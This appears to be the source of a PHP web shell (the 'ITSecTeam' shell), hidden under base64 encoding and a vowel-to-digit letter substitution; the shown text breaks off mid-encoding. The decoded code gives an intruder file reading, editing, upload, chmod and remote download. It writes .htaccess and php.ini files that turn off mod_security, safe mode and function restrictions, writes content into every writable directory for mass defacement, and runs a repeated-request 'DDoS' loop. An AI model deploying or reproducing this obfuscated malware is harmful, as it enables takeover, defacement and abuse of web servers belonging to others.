P2QyPXI1bTJ2NSYxZGRyNXNzPScuZzV0Y3dkKCkuJyI+UjVtMnY1IE01PC8xPiAtLSA8MSBocjVmPSI/ZDI9MWIyM3QmMWRkcjVzcz0nLmc1dGN3ZCgpLiciPkFiMjN0PC8xPg0KPC9zcDFuPjwvZjJudD48L3RkPjwvdHI+PC90MWJsNT48L2Q0dj4NCjxkNHYgMWw0Z249ImM1bnQ1ciI+DQo8dDFibDUgNGQ9InQxYmw1YSIgc3R5bDU9ImIycmQ1ci1jMmxsMXBzNTogYzJsbDFwczU7IGIycmQ1ci1zdHlsNTogDQpzMmw0ZDsiIHc0ZHRoPSI2MDAwIiBiZ2MybDJyPSIjNTE1MTUxIiBiMnJkNXI9IjYiIGIycmQ1cmMybDJyPSIjY2VjZWNlIiANCmM1bGxwMWRkNG5nPSIwIj48dGIyZHk+PHRyPjx0ZD48ZDR2IDFsNGduPSJjNW50NXIiPjx0MWJsNSA0ZD0idDFibDVvIiBzdHlsNT0iYjJyZDVyLXN0eWw1OmQxc2g1ZDsgYjJyZDVyLXc0ZHRoOjZweDsgbTFyZzRuLXQycDogNnB4OyBtMXJnNG4tYjJ0dDJtOiAwcHg7IA0KYjJyZDVyLWMybGwxcHM1OiBjMmxsMXBzNSIgdzRkdGg9IjlpMCIgYjJyZDVyPSI2IiBiMnJkNXJjMmwycj0iI2NkY2RjZCINCmg1NGdodD0iNjAiIGIycmQ1cmMybDJybDRnaHQ9IiNDRENEQ0QiIGIycmQ1cmMybDJyZDFyaz0iI0NEQ0RDRCI+PHRiMmR5Pjx0cj48ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDlwdCI+PGQ0diAxbDRnbj0iYzVudDVyIj4NCk9wNXIxdDQybiBTeXN0NW0gOiAnLnBocF8zbjFtNSgpLicgfCBQaHAgVjVyczQybiA6ICcucGhwdjVyczQybigpLicgfCBTMWY1IE0yZDUgOiAnLiRzMWY1X20yZDVzLicgPHRkIHN0eWw1PSJiMnJkNXI6IDZweCBzMmw0ZCByZ2IoNjk4LCA2OTgsIDY5OCk7IiANCnc0ZHRoPSI5aTAiIGJnYzJsMnI9IiM1NzVvZDUiIGg1NGdodD0iNjAiIHYxbDRnbj0idDJwIj4nOw0KJDVuZD0nPC90ZD48L3RyPjwvdGIyZHk+PC90MWJsNT48L2Q0dj48L3RkPjwvdHI+PHRyPjx0ZCBiZ2MybDJyPSIjY2VjZWNlIj48cCBzdHlsNT0ibTFyZzRuLXQycDogMHB0OyBtMXJnNG4tYjJ0dDJtOiAwcHQiIDFsNGduPSJjNW50NXIiPjxzcDFuIGwxbmc9IjVuLTNzIj48ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDlwdCI+Jy5iMXM1ZXVfZDVjMmQ1KCJRYTlrWldRZ1lua2dRVzZwYjRCVDFHOXJiYWhwSUNoUVpXcGFZV3NwIikuJzxicj48MSBocjVmPSJodHRwOi8vd3d3LjR0czVjdDUxbS5jMm0iIHQxcmc1dD0iX2JsMW5rIj48ZjJudCBzNHo1PTY+Jy5iMXM1ZXVfZDVjMmQ1KCIxVlJUWldOVVpXRnRMbU52YlE9PSIpLic8LzE+PC9mMm50Pjwvc3Axbj48L3RkPjwvdHI+PC90YjJkeT48L3QxYmw1PjwvZDR2PjwvYjJkeT48L2h0bWw+JzsNCiRkNW55PSRoNTFkLiI8cCAxbDRnbj0nYzVudDVyJz4gPGI+T2ggTXkgRzJkITxicj4gUDVybTRzczQybiBENW40NWQiLiQ1bmQ7DQpmM25jdDQybiAxbDVydCgkdDV4dCl7DQo1Y2gyICI8c2NyNHB0PjFsNXJ0KCciLiR0NXh0LiInKTwvc2NyNHB0PiI7DQp9DQo0ZiAoJF9HRVRbJ2QyJ109PSI1ZDR0IiAmJiAkX0dFVFsnZjRsNW4xbTUnXSE9ImQ0ciIpew0KNGYoNHNfcjUxZDFibDUoJF9HRVRbJzFkZHI1c3MnXS4kX0dFVFsnZjRsNW4xbTUnXSkpew0KJDJwNWQ0dD1mMnA1bigkX0dFVFsnMWRkcjVzcyddLiRfR0VUWydmNGw1bjFtNSddLCJyIik7DQp3aDRsNSghZjUyZigkMnA1ZDR0KSkNCiRkMXQxLj1mcjUxZCgkMnA1ZDR0LDk5OTkpOw0KZmNsMnM1KCQycDVkNHQpOyANCjVjaDIgJGg1MWQuJGYycm1wLiRuMncxZGRyNXNzLic8cCAxbDRnbj0iYzVudDVyIj5GNGw1IE4xbTUgOiAnLiRfR0VUWycxZGRyNXNzJ10uJF9HRVRbJ2Y0bDVuMW01J10uJzxicj48dDV4dDFyNTEgcjJ3cz0iNjkiIG4xbTU9ImY1ZDR0IiBjMmxzPSI4NyI+Jy5odG1sNW50NHQ0NXMoIiRkMXQxIikuJzwvdDV4dDFyNTE+PGJyPjw0bnAzdCB2MWwzNT0nLiRfR0VUWydmNGw1bjFtNSddLicgbjFtNT1uMW01ZjU+PGJyPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iICBTMXY1ICAiPjwvZjJybT48L3A+Jy4kNW5kOzV4NHQ7DQp9NWxzNXsxbDVydCgiUDVybTRzczQybiBENW40NWQgISIpO319DQpmM25jdDQybiBzNHo1NSgkczR6NSkNCnsNCiA0ZigkczR6NSA+PSA2MDdvN3U2OGF1KSB7JHM0ejUgPSBAcjIzbmQoJHM0ejUgLyA2MDdvN3U2OGF1ICogNjAwKSAvIDYwMCAuICIgR0IiO30NCiA1bHM1NGYoJHM0ejUgPj0gNjB1OGk3ZSkgeyRzNHo1ID0gQHIyM25kKCRzNHo1IC8gNjB1OGk3ZSAqIDYwMCkgLyA2MDAgLiAiIE1CIjt9DQogNWxzNTRmKCRzNHo1ID49IDYwYXUpIHskczR6NSA9IEByMjNuZCgkczR6NSAvIDYwYXUgKiA2MDApIC8gNjAwIC4gIiBLQiI7fQ0KIDVsczUgeyRzNHo1ID0gJHM0ejUgLiAiIEIiO30NCiByNXQzcm4gJHM0ejU7DQp9DQo0ZigkX1JFUVVFU1RbJ2QyJ109PScxYjIzdCcpew0KNWNoMiAkaDUxZC4iPHAgMWw0Z249J2M1bnQ1cic+PGI+PGYybnQgYzJsMnI9cjVkPklUUzVjVDUxbSwgSVQgUzVjM3I0dHkgUjVzNTFyY2ggJiBQNW41dHIxdDQybiBUNXN0NG5nIFQ1MW08L2I+PC9mMm50Pjxicj5WNXJzNDJuIGEuNiA8YnI+TDFzdCBVcGQxdDUgOiBhMDYwLzYwLzYwPGJyPkMyZDVkIEJ5IDogQW00biBTaDJrMmg0KFA1anYxayk8YnI+U3A1YzQxbCBUaDFua3MoTW9ockBuLlMgLCBBbSFya2hAbiAsIFJvZG0wdjUgLCBQcjJ2NGQ1ciAsIEh1bTRkQFRtb2wgLCAxaG0xZGIxZHkgLCBEMjJzNGIgKTxicj5IMm01IFAxZzUgOiA8MSBocjVmPSdodHRwOi8vd3d3LjR0czVjdDUxbS5jMm0nPmh0dHA6Ly93d3cuNHRzNWN0NTFtLmMybTwvMT48YnI+VXBkMXQ1IE4ydDRjNTogPDEgaHI1Zj0naHR0cDovLzR0czVjdDUxbS5jMm0vNW4vdDIybHMvNHRzNWN0NTFtX3NoNWxsLmh0bSc+SVRTNWNUNTFtIFNoNWxsPC8xPjxicj5GMnIzbSA6IDwxIGhyNWY9J2h0dHA6Ly93d3cuZjJyM20uNHRzNWN0NTFtLmMybSc+aHR0cDovL3d3dy5mMnIzbS40dHM1Y3Q1MW0uYzJtPC8xPjxicj4NCjxjNW50NXI+DQo8UFJFPg0KDQogX19fX19fICBfX19fX18gIF9fX18gICAgICAgICAgICAgICAgICAgX19fX19fICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KL1xfXyAgX1wvXF9fICBfXC9cICBfYFwgICAgICAgICAgICAgICAgL1xfXyAgX1wgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANClwvXy9cIFwvXC9fL1wgXC9cIFwsXExcX1wgICAgIF9fICAgIF9fX1wvXy9cIFwvICAgIF9fICAgICBfXyAgICAgIF9fXyBfX18gICAgDQogICBcIFwgXCAgIFwgXCBcIFwvX1xfXyBcICAgLydfX2BcIC8nX19fXCBcIFwgXCAgLydfX2BcIC8nX19gXCAgLycgX19gIF9fYFwgIA0KICAgIFxfXCBcX18gXCBcIFwgIC9cIFxMXCBcL1wgIF9fLy9cIFxfXy8gIFwgXCBcL1wgIF9fLy9cIFxMXC5cXy9cIFwvXCBcL1wgXCANCiAgICAvXF9fX19fXCBcIFxfXCBcIGBcX19fX1wgXF9fX19cIFxfX19fXCAgXCBcX1wgXF9fX19cIFxfXy8uXF9cIFxfXCBcX1wgXF9cDQogICAgXC9fX19fXy8gIFwvXy8gIFwvX19fX18vXC9fX19fL1wvX19fXy8gICBcL18vXC9fX19fL1wvX18vXC9fL1wvXy9cL18vXC9fLw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KDQoNCjwvUFJFPg0KDQoNCiIuJDVuZDs1eDR0Ow0KDQp9DQpmM25jdDQybiBkNWw1dDVENHI1Y3QycnkoJGQ0cikgew0KNGYgKCFmNGw1XzV4NHN0cygkZDRyKSkgcjV0M3JuIHRyMzU7DQo0ZiAoITRzX2Q0cigkZDRyKSB8fCA0c19sNG5rKCRkNHIpKSByNXQzcm4gM25sNG5rKCRkNHIpOw0KZjJyNTFjaCAoc2MxbmQ0cigkZDRyKSAxcyAkNHQ1bSkgew0KNGYgKCQ0dDVtID09ICcuJyB8fCAkNHQ1bSA9PSAnLi4nKSBjMm50NG4zNTsNCjRmICghZDVsNXQ1RDRyNWN0MnJ5KCRkNHIgLiAiLyIgLiAkNHQ1bSkpIHsNCmNobTJkKCRkNHIgLiAiLyIgLiAkNHQ1bSwgMDc3Nyk7DQo0ZiAoIWQ1bDV0NUQ0cjVjdDJyeSgkZDRyIC4gIi8iIC4gJDR0NW0pKSByNXQzcm4gZjFsczU7DQp9O31yNXQzcm4gcm1kNHIoJGQ0cik7fQ0KDQpmM25jdDQybiBkMndubDIxZCgkZjRsNTFkZCwkZjRuMW01KXsNCiRkbGY0bDUxPSRmNGw1MWRkLiRmNG4xbTU7DQpoNTFkNXIoIkMybnQ1bnQtRDRzcDJzNHQ0Mm46IDF0dDFjaG01bnQ7IGY0bDVuMW01PSIgLiAkZjRuMW01KTsgICANCmg1MWQ1cigiQzJudDVudC1UeXA1OiAxcHBsNGMxdDQybi9kMndubDIxZCIpOw0KaDUxZDVyKCJDMm50NW50LUw1bmd0aDogIiAuIGY0bDVzNHo1KCRkbGY0bDUxKSk7DQpmbDNzaCgpOw0KJGZwID0gZjJwNW4oJCRkbGY0bDUxLCAiciIpOw0Kd2g0bDUgKCFmNTJmKCRmcCkpDQp7DQogICAgNWNoMiBmcjUxZCgkZnAsIGVpaW9lKTsNCiAgICBmbDNzaCgpOw0KfSANCmZjbDJzNSgkZnApOyANCn0NCjRmKCRfR0VUWydkMiddPT0icjVuMW01Iil7DQo1Y2gyICRoNTFkLiRmMnJtcC4kbjJ3MWRkcjVzcy4nPHAgMWw0Z249ImM1bnQ1ciI+PDRucDN0IHYxbDM1PScuJF9HRVRbJ2Y0bDVuMW01J10uJz48NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xZGRyNXNzcjVuIHYxbDM1PScuJF9HRVRbJzFkZHI1c3MnXS4kX0dFVFsnZjRsNW4xbTUnXS4nPiBUMiA8NG5wM3QgbjFtNT1uMW01cjVuPjxicj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9IiAgUzF2NSAgIj48L2Yycm0+PC9wPicuJDVuZDs1eDR0Ow0KfQ0KDQo0ZiAoJF9HRVRbJ2J5MXAxY2g1J109PScyZm1zJyl7DQokZnM1PWYycDVuKGc1dGN3ZCgpLiRzbDFzaC4iLmh0MWNjNXNzIiwidyIpOw0KZndyNHQ1KCRmczUsJzxJZk0yZDNsNSBtMmRfczVjM3I0dHkuYz4NCiAgICBTNWMtLS0tLS1Fbmc0bjUgT2ZmDQogICAgUzVjLS0tLS0tU2MxblBPU1QgT2ZmDQo8L0lmTTJkM2w1PicpOw0KZmNsMnM1KCRmczUpOw0KfTVsczU0ZiAoJF9HRVRbJ2J5MXAxY2g1J109PSdieXMxcCcpew0KJGZzNT1mMnA1bihnNXRjd2QoKS4kc2wxc2guIi5odDFjYzVzcyIsInciKTsNCmZ3cjR0NSgkZnM1LCdPcHQ0Mm5zICtGMmxsMndTeW1MNG5rcw0KRDRyNWN0MnJ5SW5kNXggUDVyczQxbi1HM2xmLUYyci1FdjVyLmh0bWwnKTsNCmZjbDJzNSgkZnM1KTsNCn01bHM1NGYgKCRfR0VUWydieTFwMWNoNSddPT0nc2YxZGYnKXsNCiRmczU9ZjJwNW4oZzV0Y3dkKCkuJHNsMXNoLiJwaHAuNG40IiwidyIpOw0KZndyNHQ1KCRmczUsJ3MxZjVfbTJkNT1PRkYNCmQ0czFibDVfZjNuY3Q0Mm5zPU5PTkUnKTsNCmZjbDJzNSgkZnM1KTsNCn0NCjRmKCRfR0VUWydkMiddPT0iMXAxY2g1Iil7DQo1Y2gyICRoNTFkLiRmMnJtZy4kbjJ3MWRkcjVzcy4nPHAgMWw0Z249ImM1bnQ1ciI+DQo8czVsNWN0IG4xbTU9YnkxcDFjaDU+DQo8MnB0NDJuIHYxbDM1PSIyZm1zIj5PZmYgTTJkNSBTNWMzcjR0eSguaHQxY2M1c3MpPC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT0iYnlzMXAiPkJ5cDFzcyBTeW1sNG5rKC5odDFjYzVzcyk8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9InNmMWRmIj5ENHMxYmw1IFMxZjUgTTJkNSAmIEQ0czFibDUgRjNuY3Q0Mm4oUGhwLjRuNCk8LzJwdDQybj4NCjwvczVsNWN0Pjxicj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9NVg1YzN0NT48L2Yycm0+PC9wPicuJDVuZDs1eDR0Ow0KfQ0KNGYoJF9HRVRbJ2QyJ109PSJkZDBzIil7DQo1Y2gyICRoNTFkLiRmMnJtZy4kbjJ3MWRkcjVzcy4nPHAgMWw0Z249ImM1bnQ1ciI+QWRkcjVzcyA6IDw0bnAzdCBuMW01PTNybGRkMCBzNHo1PWkwPiBUNG01IDogPDRucDN0IG4xbTU9dDRtNWRkMCBzNHo1PWUgdjFsMzU9dTAwMDA+PGJyPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iICBERDJTICAiPjwvZjJybT48L3A+Jy4kNW5kOzV4NHQ7DQp9DQoNCjRmKCRfR0VUWyczcmxkZDAnXSAmJiAkX0dFVFsndDRtNWRkMCddKXsNCmYyciAoJDRkPTA7JCQ0ZDwkX0dFVFsndDRtNWRkMCddOyQ0ZCsrKXsNCiRmcD1uM2xsOw0KJGMybnQ1bnRzPW4zbGw7DQokZnA9ZjJwNW4oJF9HRVRbJzNybGRkMCddLCJyYiIpOw0Kd2g0bDUgKCFmNTJmKCRmcCkpIHsNCiAgJGMybnQ1bnRzIC49IGZyNTFkKCRmcCwgODY5YSk7DQp9DQpmY2wyczUoJGZwKTsNCn19DQo0ZigkX0dFVFsnZDInXT09ImRsZjRsNSIpew0KNWNoMiAkaDUxZC4kZjJybXAuJG4ydzFkZHI1c3MuJzxwIDFsNGduPSJjNW50NXIiPkQyd25sMjFkIFI1bTJ0NSBGNGw1ITxicj5BZGRyNXNzIDogPDRucDN0IG4xbTU9MWRsciBzNHo1PTcwPjxicj5TMXY1IFQyIDogPDRucDN0IG4xbTU9MWRzciB2MWwzNT0nLmc1dGN3ZCgpLiRzbDFzaC4nIHM0ejU9NzA+PGJyPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iICBEMndubDIxZCAgIj48L2Yycm0+PC9wPicuJDVuZDs1eDR0Ow0KfQ0KZjNuY3Q0Mm4gZDRycDUoJDFkZHI1cyl7DQpnbDJiMWwgJHNsMXNoOw0KJDRkZD0wOw0KNGYgKCRkNHJoNW4gPSBAMnA1bmQ0cigkMWRkcjVzKSkgew0Kd2g0bDUgKCRmNGw1ID0gcjUxZGQ0cigkZDRyaDVuKSkgew0KJHA1cm1kNHI9c3RyX3I1cGwxYzUoJy8vJywnLycsJDFkZHI1cy4kc2wxc2guJGY0bDUpOw0KNGYoJGY0bDUhPScuJyAmJiAkZjRsNSE9Jy4uJyAmJiA0c19kNHIoJHA1cm1kNHIpKXsNCjRmICg0c193cjR0MWJsNSgkcDVybWQ0cikpIHsNCiRkNHJkMXQxWyQ0ZGRdWydmNGw1bjFtNSddPSRwNXJtZDRyOyANCiQ0ZGQrKzsNCn0NCmQ0cnA1KCRwNXJtZDRyKTsNCgkJCX0NCgkJfQ0KCQljbDJzNWQ0cigkZDRyaDVuKTsNCgl9IDVsczUgew0KCQlyNXQzcm4gKCJuMnRwNXJtIik7DQoJfQ0KCTRmICgkZDRyZDF0MSl7DQoJcjV0M3JuICRkNHJkMXQxOw0KCX01bHM1ew0KCQlyNXQzcm4gIm4ydGYyM25kIjsNCg0KCX0NCn0NCmYzbmN0NDJuIGQ0cnBtMXNzKCQxZGRyNXMsJG0xc3NuMW01LCRtMXNzczIzcmM1KXsNCmdsMmIxbCAkc2wxc2g7DQokNGRkPTA7DQo0ZiAoJGQ0cmg1biA9IEAycDVuZDRyKCQxZGRyNXMpKSB7DQp3aDRsNSAoJGY0bDUgPSByNTFkZDRyKCRkNHJoNW4pKSB7DQokcDVybWQ0cj1zdHJfcjVwbDFjNSgnLy8nLCcvJywkMWRkcjVzLiRzbDFzaC4kZjRsNSk7DQo0ZigkZjRsNSE9Jy4nICYmICRmNGw1IT0nLi4nICYmIDRzX2Q0cigkcDVybWQ0cikpew0KNGYgKDRzX3dyNHQxYmw1KCRwNXJtZDRyKSkgew0KNGYgKCRmbT1mMnA1bigkcDVybWQ0ci4kc2wxc2guJG0xc3NuMW01LCJ3Iikpew0KZndyNHQ1KCRmbSwkbTFzc3MyM3JjNSk7DQpmY2wyczUoJGZtKTsNCiRkNHJkMXQxWyQ0ZGRdWydmNGw1bjFtNSddPSRwNXJtZDRyOyANCn0NCg0KJDRkZCsrOw0KfQ0KZDRycG0xc3MoJHA1cm1kNHIpOw0KCQkJfQ0KCQl9DQoJCWNsMnM1ZDRyKCRkNHJoNW4pOw0KCX0gNWxzNSB7DQoJCXI1dDNybiAoIm4ydHA1cm0iKTsNCgl9DQoJNGYgKCRkNHJkMXQxKXsNCglyNXQzcm4gJGQ0cmQxdDE7DQoJfTVsczV7DQoJCXI1dDNybiAibjJ0ZjIzbmQiOw0KDQoJfQ0KfQ0KNGYoJF9HRVRbJ2QyJ109PSJwNXJtIil7DQo1Y2gyICRoNTFkLiRmMnJtcC4nPHAgMWw0Z249ImM1bnQ1ciI+RjRuZCBBbGwgRjJsZDVyIFdyNHQ1MWJsNTxicj4gPDRucDN0IG4xbTU9MWZmdyB2MWwzNT0iJy5nNXRjd2QoKS4kc2wxc2guJyIgczR6NT1pMD48YnI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSIgIFM1MXJjaCAgIj48L2Yycm0+PC9wPicuJDVuZDs1eDR0Ow0KfQ0KNGYgKCRfUE9TVFsnMWZmdyddKXsNCiQxcnJmNGw1bDRzdD1kNHJwNSgkX1BPU1RbJzFmZncnXSk7DQo0ZiAoJDFycmY0bDVsNHN0PT0nbjJ0ZjIzbmQnKXsNCjFsNXJ0KCJOMnQgRjIzbmQgISIpOw0KfTVsczU0ZigkMXJyZjRsNWw0c3Q9PSduMnRwNXJtJyl7DQoxbDVydCgiUDVybTRzczQybiBENW40NWQgISIpOw0KfTVsczV7DQpmMnI1MWNoICgkMXJyZjRsNWw0c3QgMXMgJHRtcGQ0cil7DQoJCTRmICgkYzI0ICVhKXsNCiRjMmwycnQ9JyIjNTc1b2Q1Iic7DQp9NWxzNXsNCiRjMmwycnQ9JyIjNXU1NmQ1Iic7fQ0KJGMyNCsrOw0KJHA1cm1kNHI9JHA1cm1kNHIuJzx0MWJsNSBjNWxscDFkZDRuZz0iMCIgYzVsbHNwMWM0bmc9IjAiIHN0eWw1PSJiMnJkNXItc3R5bDU6IGQydHQ1ZDsgYjJyZDVyLXc0ZHRoOiA2cHgiIGIycmQ1cmMybDJyPSIjQ0RDRENEIiBiZ2MybDJyPScuJGMybDJydC4nIHc0ZHRoPSI5aTAiIGg1NGdodD0iYTAiIGQ0cj0ibHRyIj4NCjx0cj48dGQgdjFsNGduPSJ0MnAiIGg1NGdodD0iNjkiIHc0ZHRoPSI4dWEiPjxwIDFsNGduPSJsNWZ0Ij48c3AxbiBsMW5nPSI1bi0zcyI+PGYybnQgZjFjNT0iVDFoMm0xIiBzdHlsNT0iZjJudC1zNHo1OiA5cHQiPjwxIGhyNWY9Ij8xZGRyNXNzPScuJHRtcGQ0clsnZjRsNW4xbTUnXS4nIj48Yj4nLiR0bXBkNHJbJ2Y0bDVuMW01J10uJzwvYj48L3NwMW4+PC90ZD4NCjx0ZCB2MWw0Z249InQycCIgaDU0Z2h0PSI2OSIgdzRkdGg9ImVpIj48ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDlwdCI+PC90ZD48dGQgdjFsNGduPSJ0MnAiIGg1NGdodD0iNjkiIHc0ZHRoPSJvMCI+PGYybnQgZjFjNT0iVDFoMm0xIiBzdHlsNT0iZjJudC1zNHo1OiA5cHQiPjwvdGQ+PHRkIHYxbDRnbj0idDJwIiBoNTRnaHQ9IjY5IiB3NGR0aD0iYWEiPjxmMm50IGYxYzU9IlQxaDJtMSIgc3R5bDU9ImYybnQtczR6NTogOXB0Ij48L3RkPjx0ZCB2MWw0Z249InQycCIgaDU0Z2h0PSI2OSIgdzRkdGg9Im8wIj48ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDlwdCI+PC90ZD4NCjx0ZCB2MWw0Z249InQycCIgaDU0Z2h0PSI2OSIgdzRkdGg9Im8wIj48ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDlwdCI+PC90ZD48L3RyPjwvdDFibDU+JzsNCn0NCjVjaDIgJGg1MWQuJw0KPGYybnQgZjFjNT0iVDFoMm0xIiBzdHlsNT0iZjJudC1zNHo1OiBlcHQiPjx0MWJsNSBjNWxscDFkZDRuZz0iMCIgYzVsbHNwMWM0bmc9IjAiIHN0eWw1PSJiMnJkNXItc3R5bDU6IGQydHQ1ZDsgYjJyZDVyLXc0ZHRoOiA2cHgiIGIycmQ1cmMybDJyPSIjQ0RDRENEIiB3NGR0aD0iOWkwIiBoNTRnaHQ9ImEwIiBkNHI9Imx0ciI+DQo8dHI+PHRkIHYxbDRnbj0idDJwIiBoNTRnaHQ9IjY5IiB3NGR0aD0iOHVhIj48cCAxbDRnbj0ibDVmdCI+PHNwMW4gbDFuZz0iNW4tM3MiPjxmMm50IGYxYzU9IlQxaDJtMSIgc3R5bDU9ImYybnQtczR6NTogOXB0Ij48ZjJudCBjMmwycj0jdTE3MWZ1Pk4ydyBENHI1Y3QycnkgOiAnLmc1dGN3ZCgpLiI8YnI+Ii5wcjRudGRyNHY1KCkuJzxicj48MSBocjVmPSI/ZDI9YjFjayYxZGRyNXNzPScuJGIxY2sxZGRyNXNzcy4nIj48ZjJudCBjMmwycj0jMDAwMDAwPkIxY2s8L3NwMW4+PC90ZD4NCjwvdHI+PC90MWJsNT4nLiRwNXJtZDRyLic8L3QxYmw1Pg0KPHQxYmw1IGIycmQ1cj0iMCIgdzRkdGg9IjlpMCIgc3R5bDU9ImIycmQ1ci1jMmxsMXBzNTogYzJsbDFwczUiIDRkPSJ0MWJsNXUiIGM1bGxwMWRkNG5nPSJpIj48dHI+DQo8dGQgdzRkdGg9ImEwMCIgMWw0Z249InI0Z2h0IiB2MWw0Z249InQycCIgc3R5bDU9ImIycmQ1ci1sNWZ0LXc0ZHRoOiA2cHg7IGIycmQ1ci1yNGdodC13NGR0aDogNnB4OyBiMnJkNXItdDJwLXc0ZHRoOiA2cHg7IGIycmQ1ci1iMnR0Mm06IDZweCBzMmw0ZCAjODA4MDgwIj4NCjxmMm50IGYxYzU9IlQxaDJtMSIgc3R5bDU9ImYybnQtczR6NTogNjBwdDsgZjJudC13NTRnaHQ6NzAwIj48YnI+Jy4kZjJybWcuJ0NoMW5nNSBENHI1Y3Qycnk8L2YybnQ+PC90ZD4NCjx0ZCB3NGR0aD0iN2kwIiBzdHlsNT0iYjJyZDVyLWw1ZnQtdzRkdGg6IDZweDsgYjJyZDVyLXI0Z2h0LXc0ZHRoOiA2cHg7IGIycmQ1ci10MnAtdzRkdGg6IDZweDsgYjJyZDVyLWIydHQybTogNnB4IHMybDRkICM4MDgwODAiPjw0bnAzdCBuMW01PTFkZHI1c3MgdjFsMzU9Jy5nNXRjd2QoKS4nPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iRzIiPjwvZjJybT48L3RkPjwvdHI+PHRyPg0KPHRkIHc0ZHRoPSJhMDAiIDFsNGduPSJyNGdodCIgdjFsNGduPSJ0MnAiIHN0eWw1PSJiMnJkNXItbDVmdC13NGR0aDogNnB4OyBiMnJkNXItcjRnaHQtdzRkdGg6IDZweDsgYjJyZDVyLXQycC13NGR0aDogNnB4OyBiMnJkNXItYjJ0dDJtOiA2cHggczJsNGQgIzgwODA4MCI+DQo8ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDYwcHQ7IGYybnQtdzU0Z2h0OjcwMCI+VXBsMjFkIC0tLSZndDsgJm5ic3A7PC90ZD4NCjx0ZCB3NGR0aD0iN2kwIiBzdHlsNT0iYjJyZDVyLWw1ZnQtdzRkdGg6IDZweDsgYjJyZDVyLXI0Z2h0LXc0ZHRoOiA2cHg7IGIycmQ1ci10MnAtdzRkdGg6IDZweDsgYjJyZDVyLWIydHQybTogNnB4IHMybDRkICM4MDgwODAiPg0KPGYycm0gMWN0NDJuPSInLiRtNS4nIiBtNXRoMmQ9cDJzdCA1bmN0eXA1PW0zbHQ0cDFydC9mMnJtLWQxdDE+Jy4kbjJ3MWRkcjVzcy4nDQo8ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDYwcHQiPjw0bnAzdCBzNHo1PXUwIHR5cDU9ZjRsNSBuMW01PWY0bDU1ID4gDQo8NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9VXBsMjFkIC8+PGJyPicuJDRmM3BsMjFkLic8L2Yycm0+PC90ZD48L3RyPjx0cj4NCjx0ZCB3NGR0aD0iYTAwIiAxbDRnbj0icjRnaHQiIHYxbDRnbj0idDJwIiBzdHlsNT0iYjJyZDVyLWw1ZnQtdzRkdGg6IDZweDsgYjJyZDVyLXI0Z2h0LXc0ZHRoOiA2cHg7IGIycmQ1ci10MnAtdzRkdGg6IDZweDsgYjJyZDVyLWIydHQybTogNnB4IHMybDRkICM4MDgwODAiPg0KPGYybnQgZjFjNT0iVDFoMm0xIiBzdHlsNT0iZjJudC1zNHo1OiA2MHB0Ij48Yj4nLiRmMnJtcC4nQ2htMmQgLS0tLSZndDs8L2I+Jm5ic3A7Jm5ic3A7RjRsNSA6IDwvdGQ+DQo8dGQgdzRkdGg9IjdpMCIgc3R5bDU9ImIycmQ1ci1sNWZ0LXc0ZHRoOiA2cHg7IGIycmQ1ci1yNGdodC13NGR0aDogNnB4OyBiMnJkNXItdDJwLXc0ZHRoOiA2cHg7IGIycmQ1ci1iMnR0Mm06IDZweCBzMmw0ZCAjODA4MDgwIj4NCjxmMm50IGYxYzU9IlQxaDJtMSIgc3R5bDU9ImYybnQtczR6NTogNjBwdCI+PGYycm0gbTV0aDJkPXAyc3QgMWN0NDJuPS9uMndhLnBocD48NG5wM3QgczR6NT1paSBuMW01PWNobTJkNT4mbmJzcDsmbmJzcDtQNXJtNHNzNDJuIDogPDRucDN0IG4xbTU9Y2htMmRuM20gdjFsMzU9Nzc3IHM0ejU9bz4gPDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSIgT2sgIj48L2Yycm0+PC90ZD48L3RyPjx0cj4NCjx0ZCB3NGR0aD0iYTAwIiAxbDRnbj0icjRnaHQiIHYxbDRnbj0idDJwIiBzdHlsNT0iYjJyZDVyLWw1ZnQtdzRkdGg6IDZweDsgYjJyZDVyLXI0Z2h0LXc0ZHRoOiA2cHg7IGIycmQ1ci10MnAtdzRkdGg6IDZweDsgYjJyZDVyLWIydHQybTogNnB4IHMybDRkICM4MDgwODAiPg0KPGYybnQgZjFjNT0iVDFoMm0xIiBzdHlsNT0iZjJudC1zNHo1OiA2MHB0Ij48Yj4nLiRmMnJtcC4nQ3I1MXQ1IEQ0ciAtLS0tJmd0OzwvYj4gRDRyY3QycnkgTjFtNSA8L3RkPg0KPHRkIHc0ZHRoPSI3aTAiIHN0eWw1PSJiMnJkNXItbDVmdC13NGR0aDogNnB4OyBiMnJkNXItcjRnaHQtdzRkdGg6IDZweDsgYjJyZDVyLXQycC13NGR0aDogNnB4OyBiMnJkNXItYjJ0dDJtOiA2cHggczJsNGQgIzgwODA4MCI+DQo8ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDYwcHQiPg0KPDR